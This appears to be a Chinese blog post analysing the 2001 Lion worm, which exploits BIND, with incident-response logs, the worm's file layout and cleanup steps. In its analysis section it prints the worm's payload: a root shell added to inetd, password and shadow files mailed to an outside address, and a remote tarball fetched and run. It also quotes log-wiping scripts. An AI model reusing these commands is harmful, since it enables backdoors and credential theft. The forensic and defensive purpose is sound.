1i0n蠕虫分析

Linux_Lion病毒分析 病毒样本http://www.xfocus.net/tools/200108/lion.tgz看了他的分发结构和传染特性,没什么新异,与Raman传播机制相同,不过用这个做模版病毒不错,Lion蠕虫从2001年4月6日,由http://www.sans.org报道以来引起了广泛的关注。它最初来源于(中国红客联盟,作者是一位中国“红客”-lion。这个蠕虫是这个组织针对日本修改教科书一事 阅读详情

作者:zackno

情况简介
开始,无意当中列了一下系统进程发现一个有趣的进程。
[acc@firework acc]$ps aux
.....
......
root 3440 99.9 0.5 1088 360 ? R 16:00 0:06 ./pscan xxx.xx 53
......

[root@firework /root]# ps aux | grep pscan
root 3833 97.0 0.5 1088 360 ? RN 16:38 0:10 ./pscan xxx.xx 53
[root@firework /root]# kill -9 3833
[root@firework /root]# ps aux | grep pscan
root 3839 55.5 0.5 1088 360 ? RN 16:38 0:01 ./pscan xxx.xx 53
[root@firework /root]# kill -9 3839
[root@firework /root]# ps aux | grep pscan
root 3845 99.9 0.5 1088 360 ? RN 16:38 0:01 ./pscan xxx.xx 53
以root权限杀死该进程后,又重新启动,有些古怪。

[acc@firework acc]$find / -name pscan -print
/dev/.lib/scan/pscan
/dev/.lib???

/dev/.lib存在,似乎该系统已经被入侵了。

事件分析

1阻止攻击。

我们检查日志信息和击键记录,发现日志系统在1.26被关闭。一些日志记录出现一些空白段,
表明被改过,没有其他信息,紧接着我们检查这些程序:
[acc@firework acc]$cd /dev/.lib
[acc@firework .lib]$ls
[acc@firework libb]$ls -al
total 20
drwxr-xr-x 4 root root 4096 Feb 01 13:15 .
drwxr-xr-x 4 root root 4096 Feb 01 12:30 ..
-rwxr-xr-x 1 root root 53 Feb 01 16:30 1i0n.sh
drwx------ 4 root root 4096 Feb 01 15:37 lib
drwxr-xr-x 2 root root 4096 Feb 01 16:03 scan
[acc@firework libb]$cat 1i0n.sh


cd lib
./1i0n.sh &
cd ../scan
./1i0n.sh &
似乎是启动程序,启动./lib/1i0n.sh和./scan/1i0n.sh,先来看看./lib/1i0n.sh
[acc@firework libb]$cat lib/1i0n.sh |more
....
mv -f in.fingerd /usr/sbin/in.fingerd
mv -f ps /bin/ps
mv -f ifconfig /sbin/ifconfig
mv -f du /usr/bin/du
mv -f netstat /bin/netstat
mv -f top /usr/bin/top
mv -f ls /bin/ls
mv -f find /usr/bin/find

rm -fr /.bash_history
rm -fr /root/.bash_history
echo >/var/log/messages
echo >/var/log/maillog
[acc@firework libb]$
这是个是个善后处理放置后门的程序,再来看看./scan/1i0n.sh。
[acc@firework libb]$cat scan/1i0n.sh


rm -f /etc/hosts.deny

echo "/dev/.lib/lib/scan/star.sh" >> /etc/rc.d/rc.sysinit /*开机启动star.sh*/

touch bindname.log
./star.sh
[acc@firework libb]$ cat scan/star.sh


rm -f bindname.log; touch bindname.log
nohup ./scan.sh >>/dev/null & /*带nohup*/
nohup ./hack.sh >>/dev/null &
[acc@firework libb]$ cat scan/scan.sh

while true /*所以杀不死该进程,
do 一杀死,scan.sh
CLASSB=`./randb` 又重新启动pscan*/
./pscan $CLASSB 53
done
由于这台机器还在运行ps
[acc@firework libb]$
从进程的名字来看,这台机器可能正在被人利用,我们用sniffer监听,听到了很多类似的数据包。
54864(0) win 32120 <mss 1460,sackOK,timestamp 171000892 0,nop,wscale 0> (DF)
16:19:23.955554 eth0 > xxx.xxx.x.xx.4169 > xxx.xx.x.8.domain: S 1854598569:18545
98569(0) win 32120 <mss 1460,sackOK,timestamp 171000893 0,nop,wscale 0> (DF)
16:19:23.955636 eth0 > xxx.xxx.x.xx.4170 > xxx.xx.x.9.domain: S 1867025565:18670
25565(0) win 32120 <mss 1460,sackOK,timestamp 171000893 0,nop,wscale 0> (DF)
16:19:23.955694 eth0 > xxx.xxx.x.xx.4171 > xxx.xx.x.10.domain: S 1858702344:18587
02344(0) win 32120 <mss 1460,sackOK,timestamp 171000893 0,nop,wscale 0> (DF)
16:19:23.955759 eth0 > xxx.xxx.x.xx.4172 > xxx.xx.x.11.domain: S 1861784891:1861
784891(0) win 32120 <mss 1460,sackOK,timestamp 171000893 0,nop,wscale 0> (DF)
.....
似乎这个程序专门针对53端口,也就是named的,而且是个大范围扫描程序,可能在扫描后会把结果
发给攻击者,。
我们首先要切断连接,要杀掉这些进程。
[root@firework libb]#ps aux
root 4252 0.2 1.1 1648 752 pts/1 SN 17:48 0:00 sh ./scan.sh
root 4253 0.2 1.1 1648 748 pts/1 SN 17:48 0:00 sh ./hack.sh
root 4258 0.0 0.7 1252 460 pts/1 SN 17:48 0:00 tail -f bindname.
root 4262 99.9 0.5 1088 360 pts/1 RN 17:48 0:14 ./pscan xxx.xx 53
[root@firework libb]#kill -9 4252
[root@firework libb]#kill -9 4253
[root@firework libb]#kill -9 4258
[root@firework libb]#kill -9 4262
再看都杀掉了。

2应急处理

由于攻击者并没有篡改页面,只是利用此机器作为肉机,作为进一步攻击的基地。
我们简单查看了/dev/.lib/1i0n以及/dev/.lib/lib/1i0n.sh、/dev/.lib/scan/1i0n.sh
[acc@firework scan]$strings bind
PATH='/usr/bin:/bin:/usr/local/bin/:/usr/sbin/:/sbin';export PATH;export TERM=vt
100;rm -rf /dev/.lib;mkdir /dev/.lib;cd /dev/.lib;echo '1008 stream tcp nowait r
oot /bin/sh sh' >>/etc/inetd.conf;killall -HUP inetd;ifconfig -a>1i0n;cat /etc/p
asswd >>1i0n;cat /etc/shadow >>1i0n;mail
1i0nip@china.com <1i0n;rm -fr 1i0n;rm -
fr /.bash_history;lynx -dump
http://coollion.51.net/crew.tgz >1i0n.tgz;tar -zxvf
1i0n.tgz;rm -fr 1i0n.tgz;cd lib;./1i0n.sh;exit;
.....
修改lsd-pl.net提供的exploit,很容易就可以加入这些代码。

>char command [] ="";
>write(sck[1],command,sizeof(command));

发现这是一个专门针对bind的蠕虫程序。
lib/1i0n.sh主要是入侵以后清理日志、bash_history,放置后门程序。
scan/1i0n.sh主要是启动两个程序,一个pscan扫描B网段(可选C网段),并把结果放置在
./bindname.log中,bind程序负责从bindname.log中提取结果进行自动攻击,攻击成功后放
置后门程序,并开始随机扫描。
我们在保留蠕虫样本后,对系统进行了简单恢复,
1、停止运行域名服务(准备升级)
2、修改/etc/rc.d/init.d/inetd.conf
删除 1008 stream tcp nowait root /bin/sh sh
1008 stream tcp nowait root /bin/sh sh
60008 stream tcp nowait root /bin/sh sh
33567 stream tcp nowait root /bin/sh sh

kill -9 pidof(nscd)
kill -9 pidof(t0rns)

3、修改/etc/rc.d/sysinit
删除 /dev/.lib/lib/scan/star.sh
/usr/sbin/nscd -q
/bin/in.telnetd

4、 删除如下目录和文件
/etc/ttyhash
/usr/man/man1/man1
/usr/src/.puta
/usr/info/.t0rn/
/usr/sbin/nscd
/dev/.lib
/bin/mjy

5、替换如下程序
/bin/login
/usr/sbin/nscd
/usr/sbin/in.telnetd
/sbin/ifconfig
/bin/ps
/usr/bin/du
/bin/ls
/bin/netstat
/usr/bin/find
/usr/bin/top
/usr/sbin/in.finger
6、修改/etc/inetd.conf
注释掉finger服务,并把权限改为nobody。
7、如有ipchains运行,请重新运行规则。

8、检查/var/spool/mqueue下用命令"grep "
1i0nip@china.com" *",如发现有文件包含此字段,请
删除此文件。
9、如有必要,增加并修改你的hosts.deny文件
10、重启系统.
可疑之处:根据syslogd被宕掉,但从程序来看不应出现此现象,因此可能除去程序,有攻击者直接登录过。

技术分析

该蠕虫攻击程序的详细描述参照
bugtraq id 2302
cve CAN-2001-10

影响bind版本:
ISC bind 8.2 8.2.1 8.2.2 8.2.2-PX

不受影响
ISC BIND 9.1
ISC BIND 9.0
ISC BIND 8.2.3


通过对蠕虫样本的分析,我们可以看出其基本的工作流程

10in.sh---->./lib/10in.sh-->清理日志、放置后门程序(ssh、sniffer、ls、netstat etc..)
| -->获取系统信息并mail to
1i0nsniff@china.com
|
|
|
|-->./scan/10in.sh-->./pscan 对随机生成的B网段进行扫描
-->./bind 对有漏洞的系统进行攻击,攻击成功后首先获取网络配置、
passwd、shadow到
10inip@china.com,放置后门并继续攻击其他机器。

[acc@firework acc]$ls /dev/.lib

/dev/.lib/lib/scan/1i0n.sh -----启动程序,调用./star.sh并把它加入开机启动
/dev/.lib/lib/scan/hack.sh -----一旦检测到在bindname.log中有新纪录,就调用
bindx.sh对目标进行攻击
/dev/.lib/lib/scan/bind -----利用TSIG漏洞进行攻击的程序(修改lsd-pl.net提供的)
/dev/.lib/lib/scan/randb -----随机产生一个B类网段,由pscan调用
/dev/.lib/lib/scan/scan.sh -----调用pscan $(./randb) 53
/dev/.lib/lib/scan/pscan -----探测远程系统是否开启bind服务,如开启,记录
到bindname.log

/dev/.lib/lib/scan/star.sh -----调用sscan.sh和hack.sh
/dev/.lib/lib/scan/bindx.sh -----调用bind
/dev/.lib/lib/scan/bindname.log -----记录存在漏洞的主机IP
/dev/.lib/lib/1i0n.sh -----启动程序,启动lib/1i0n.sh、scan/1i0n.sh
/dev/.lib/lib/lib/netstat -----后门
/dev/.lib/lib/lib/dev/.1addr -----?(可能是为其他程序所用)
/dev/.lib/lib/lib/dev/.1logz
/dev/.lib/lib/lib/dev/.1proc
/dev/.lib/lib/lib/dev/.1file
/dev/.lib/lib/lib/t0rns -----sniffer程序
/dev/.lib/lib/lib/du -----后门
/dev/.lib/lib/lib/ls -----后门
/dev/.lib/lib/lib/t0rnsb -----清理日志
/dev/.lib/lib/lib/ps -----后门
/dev/.lib/lib/lib/t0rnp -----?
/dev/.lib/lib/lib/find -----后门
/dev/.lib/lib/lib/ifconfig -----后门
/dev/.lib/lib/lib/pg -----生成密码程序到/etc/ttyhash(login使用)
/dev/.lib/lib/lib/ssh.tgz -----ssh后门
/dev/.lib/lib/lib/top -----后门
/dev/.lib/lib/lib/sz -----修改文件大小
/dev/.lib/lib/lib/login -----后门
/dev/.lib/lib/lib/in.fingerd -----后门
/dev/.lib/lib/lib/1i0n.sh -----清除日志,放置后门
/dev/.lib/lib/lib/pstree -----后门
/dev/.lib/lib/lib/in.telnetd -----后门
/dev/.lib/lib/lib/mjy -----后门
/dev/.lib/lib/lib/sush -----?
/dev/.lib/lib/lib/tfn -----D.d.o.s工具
/dev/.lib/lib/lib/name -----没有改过的exploit
/dev/.lib/lib/lib/getip.sh -----获取网络、passwd等mail到
1i0nsniffer@china.com


该蠕虫原理和ramen很像,不同的是ramen是个良性蠕虫,而此蠕虫的破坏性较大,并且窃取用户口令
文件、网络配置,应该说影响较大,因为即使用户发现,但是很多主机的用户名会为人所知,攻击面
较大,一旦被利用作为D.d.o.s攻击,后果将非常严重。

事故处理

William Stearns写了一个检测程序,但并不能清除该蠕虫。
下载:
http://www.sans.org/y2k/lionfind-0.1.tar.gz
建议修补方法:按照应急处理一步一步来做,升级bind版本。
http://www.isc.org/products/BIND/bind9.html

后记:
sans上的有一些介绍
http://www.sans.org/y2k/lion.htm
问题:有几个文件不知用处,象.t0rn/.1addr...。
如果你知道,请mail我一份。

该蠕虫似乎没有考虑到在攻击之前检查是否已经被感染,可能进行重复攻击。(named不重新启动过,再
次攻击也无效),目前我没有发现别的变种,该蠕虫自己不能复制,它通过coollion.51.net来获取蠕虫。


脚本或许写的比较急,有些.... :)
if test -n "$2" ; then
echo "${BLU}# ${BLU} Using ssh-port : ${WHI}$2
${BLU} ${RES}"
tar xfz ssh.tgz
echo "Port $2" >> .t0rn/shdcf
echo "3 $2" >> dev/.1addr
cat .t0rn/shdcf2 >> .t0rn/shdcf ; rm -rf .t0rn/shdcf2
else
echo "${BLU}# ${RED} No ssh-port Specified, using default - 33568 ${
BLU} #${RES}"
tar xfz ssh.tgz
echo "Port 33568" >> .t0rn/shdcf
echo "3 $2" >> dev/.1addr
cat .t0rn/shdcf2 >> .t0rn/shdcf ; rm -rf .t0rn/shdcf2
fi

蠕虫病毒分析方法 蠕虫分析方法1. 蠕虫病毒是什么2.蠕虫病毒的行为特点2.1 蠕虫传播2.2 蠕虫网络行为特征3.分析案例 1. 蠕虫病毒是什么 蠕虫是通过网络主动复制自己传播的程序 蠕虫传播途径 邮件蠕虫–Loveletter,在OUTlook或foxmail中找到联系人,将恶意程序发给联系人,让所有的联系人都收到这样的邮件; 即时通漏洞–MSN/Worm.MM,通过QQ、微信传播的蠕虫病毒,通过即时消息发送; 操作系统或应用网络漏洞–CodeRed,Nimda,往往很难发现 2.蠕虫病毒的行为特点 2.1 蠕虫 阅读详情

相关推荐

7.12 C语言练习(爬动的蠕虫:一条蠕虫1寸,在一口深为N寸的井的底部。已知蠕虫1分钟可以向上爬U寸,但必须休息1分钟才能接着往上爬。)

题目要求: 一条蠕虫1寸,在一口深为N寸的井的底部。 已知蠕虫1分钟可以向上爬U寸,但必须休息1分钟才能接着往上爬。 在休息的过程中,蠕虫又下滑了D寸。就这样,上爬和下滑重复进行。 请问,蠕虫需要多长时间才能爬出井?

仰泳的鱼儿等上岸 6868

Openssl 1.1.1下载

该压缩包中包含了两个版本的Openssl 1.1.1 的包,包含Openssl1.1.1i和Openssl1.1.1h两个版本;

5-17 爬动的蠕虫

一条蠕虫1寸,在一口深为N寸的井的底部。已知蠕虫1分钟可以向上爬U寸,但必须休息1分钟才能接着往上爬。在休息的过程中,蠕虫又下滑了D寸。就这样,上爬和下滑重复进行。请问,蠕虫需要多长时间才能爬出井?这里要求不足1分钟按1分钟计,并且假定只要在某次上爬过程中蠕虫的头部到达了井的顶部,那么蠕虫就完成任务了。初始时,蠕虫是趴在井底的(即高度为0)。 输入格式: 输入在一行中顺序给出3个正整数N、U

Gao__Xiong的博客 1380

0N在计算机里面起什么作用,计算器0n/c是什么键

大家好,我是时间财富网智能客服时间君,上述问题将由我为大家进行解答。计算器0n/c是开机键以及清屏键。此键一方面有着开机的功能;另一方面也有着清除屏幕内容的功能。计算器是现代人发明的可以进行数字运算的电子机器。现代的电子计算器能进行数学运算的手持电子机器,拥有集成电路芯片,但结构比电脑简单得多,可以说是第一代的电子计算机(电脑),且功能也较弱,但较为方便与廉价,可广泛运用于商业交易中,是必备的办公...

weixin_31857829的博客 3872

matlab中符号运算求解结果出现的是1i不是li

说实话,也就我这种粗心大头才研究了半天为啥是li,早看到1i就能早点明白这不过是代表复数 因为 i 容易和变量搞混了,所以matlab在使用符号函数求解时,其结果会推荐你使用 1i 。而且当你可以将 i 定已成普通变量,而这时候1i 仍然是复数单位,而i 就是代表你那个变量的值了。 以下是查到的大佬解答,非常有用: ...

weixin_42196455的博客 1万+

记一次t0rn v8 rootkit后门应急处置复现

在一次安全应急处置中,使用chkrootkit工具对可能被检查的服务器进行自查,发现存在:Possible t0rn v8 \(or variation\) rootkit installed。本文根据chkrootkit工具的检测源码,手动进行处置。

zhengshaolin128的博客 1017

7-17 爬动的蠕虫

一条蠕虫1寸,在一口深为N寸的井的底部。已知蠕虫1分钟可以向上爬U寸,但必须休息1分钟才能接着往上爬。在休息的过程中,蠕虫又下滑了D寸。就这样,上爬和下滑重复进行。请问,蠕虫需要多长时间才能爬出井?

✨ 欢迎来到【Seal ^_^ 的CSDN博客】!✨ 5257

爬动的蠕虫

爬动的蠕虫 一条蠕虫1寸,在一口深为N寸的井的底部。已知蠕虫1分钟可以向上爬U寸,但必须休息1分钟才能接着往上爬。在休息的过程中,蠕虫又下滑了D寸。就这样,上爬和下滑重复进行。请问,蠕虫需要多长时间才能爬出井? 这里要求不足1分钟按1分钟计,并且假定只要在某次上爬过程中蠕虫的头部到达了井的顶部,那么蠕虫就完成任务了。初始时,蠕虫是趴在井底的(即高度为0)。 输入格式: 输入在一行中顺序给出3个...

子谦琦琦的博客 1071

Climbing Worm————攀缘蠕虫

    An inch worm is at the bottom of a well n inches deep. It has enough energy to climb u inches every minute, but then has to rest a minute before climbing again. During the rest, it slips down d in...

一个和代码打交道の小孩 1508

【PTA】爬动的蠕虫

7-46 爬动的蠕虫15 分) 一条蠕虫1寸,在一口深为N寸的井的底部。已知蠕虫1分钟可以向上爬U寸,但必须休息1分钟才能接着往上爬。在休息的过程中,蠕虫又下滑了D寸。就这样,上爬和下滑重复进行。请问,蠕虫需要多长时间才能爬出井? 这里要求不足1分钟按1分钟计,并且假定只要在某次上爬过程中蠕虫的头部到达了井的顶部,那么蠕虫就完成任务了。初始时,蠕虫是趴在井底的(即高度为0)。 输入...

jxs的博客 7147

爬动的蠕虫(Java)

一条蠕虫1寸,在一口深为N寸的井的底部。已知蠕虫1分钟可以向上爬U寸,但必须休息1分钟才能接着往上爬。在休息的过程中,蠕虫又下滑了D寸。就这样,上爬和下滑重复进行。请问,蠕虫需要多长时间才能爬出井? 这里要求不足1分钟按1分钟计,并且假定只要在某次上爬过程中蠕虫的头部到达了井的顶部,那么蠕虫就完成任务了。初始时,蠕虫是趴在井底的(即高度为0)。 输入格式: 输入在一行中顺序给出3个正整数N、U、D,其中D<U,N不超过100。 输出格式: 在一行中输出蠕虫爬出井的时间,以分钟为单位。 输入样

weixin_51430516的博客 296

网络安全】Xred蠕虫分析及修复工具编写

蠕虫病毒很老了,已经有很多前辈分析过该病毒,跟着前辈们的思路深入分析一下,并编写一个清理工具。这是我分析的第一个真实环境下的恶意样本,文中如果有不正确的地方请指正。

HBohan的博客 6177

0N在计算机里面起什么作用,计算器上的0n/c键是什么键

大家好,我是时间财富网智能客服时间君,上述问题将由我为大家进行解答。计算器上的0n是开机的意思,C键是清除的意思。计算器是现代人发明的可以进行数字运算的电子机器。现代的电子计算器能进行数学运算的手持电子机器,拥有集成电路芯片,但结构比电脑简单得多,可以说是第一代的电子计算机(电脑),且功能也较弱,但较为方便与廉价,可广泛运用于商业交易中,是必备的办公用品之一。除显示计算结果外,还常有溢出指示、错误...

weixin_34462016的博客 9648

1==i和i==1区别

1==i和i==1区别小论If(1==i)和if(i==1)的区别先来个小对比 小论If(1i)和if(i1)的区别 对于更面向过程和学习的编写语言C语言,在编写过程中,经常看到一些大佬会写类似这样的程序:if( 5 == 1),其实它在语言中是与if(i == 5)相差无几的,而且后者的阅读性其实更高(对于大多数中国人自左向右的阅读习惯),但为什么还是更推荐前者呢? 先来个小对比 #includ...

qq_40893595的博客 4581

hdu 6599 I Love Palindrome String 回文自动机

hdu 6599 I Love Palindrome String 回文自动机 当个回文自动机的模板 题意 给一个串S,求长度为i的“特殊回文串”个数,“特殊回文串”要求是回文串,并且自己的一半也是回文串。 思路 求回文串个数相关,优先考虑使用回文自动机,“特殊回文串”要求是回文串,并且自己的一半也是回文串,显然就是fail树扒出来dfs搞一下,记录dfs路径上有没有长度一半的回文串...

weixin_30307921的博客 922

阿里云Centos7.5 被蠕虫病毒挖矿,kdevtmpfsi进程导致CPU使用率爆棚

一、问题 操作系统: 阿里云服务器 Centos7.5 使用top命令查看进程,发现有一个kdevtmpfsi Command进程的CPU占用很大。这个进程并不是自己的一个服务。 使用Kill命令,杀死这个进程之后,再过10几秒CPU进程中又出现了该进程。 二、解决办法 查看定时任务列表 # 查看定时任务列表 crontabe -l # 会发现里边有一个恶心的定时任务 删除定时任务 crontabe -e #删除掉定时任务,wq保存退出 查看kdevtmpfsi 进程信息 ps -e

qq_38181949的博客 1117
上一篇: 四、六级考试的标准分计算方法-“710分转换表”
下一篇: TCP/IP攻击原理分析总结
flycock
博客等级 码龄21年 20粉丝 114原创
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值